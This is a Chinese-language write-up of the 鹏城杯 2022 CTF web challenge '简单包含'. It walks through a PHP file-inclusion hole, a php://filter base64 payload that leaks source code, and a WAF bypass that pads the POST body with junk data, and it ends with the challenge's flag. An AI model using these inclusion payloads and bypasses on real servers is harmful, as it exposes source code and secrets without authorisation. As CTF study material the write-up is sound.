目录

[鹏城杯 2022]简单包含

目录

[鹏城杯 2022]简单包含

1
2
3
4
<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php; 

尝试包含 flag.php ,提示有 waf :

https://pic.imgdb.cn/item/6552de4bc458853aefd886cd.jpg

尝试包含 index.php ,没有触发 waf 但是没回显:

https://pic.imgdb.cn/item/6552df9ac458853aefdbea09.jpg

利用 php 伪协议将 index.php 的内容以 base64 编码的形式显示:

payload:flag=php://filter/convert.base64-encode/resource=/var/www/html/index.php

https://pic.imgdb.cn/item/6552e04bc458853aefdd70e0.jpg

解密后的 index.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
// 从POST请求中获取名为 "flag" 的参数,将其赋值给变量 $path
$path = $_POST["flag"];

// 检查通过POST请求传递的数据的长度是否小于800,并且路径中是否包含 "flag" 字符串
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

绕过 waf 需要让 if 里的条件为 false,即需要让 && 两边的其中一边为 false

通过传脏数据可以使 strlen(file_get_contents('php://input')) < 800 为 false:

payload:

1
flag=php://filter/convert.base64-encode/resource=/var/www/html/flag.php&a=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

https://pic.imgdb.cn/item/6552e2fac458853aefe47283.jpg

解密后的 flag.php :

1
<?php ='NSSCTF{cf1a336d-c369-44b6-aade-6acc4e910292}';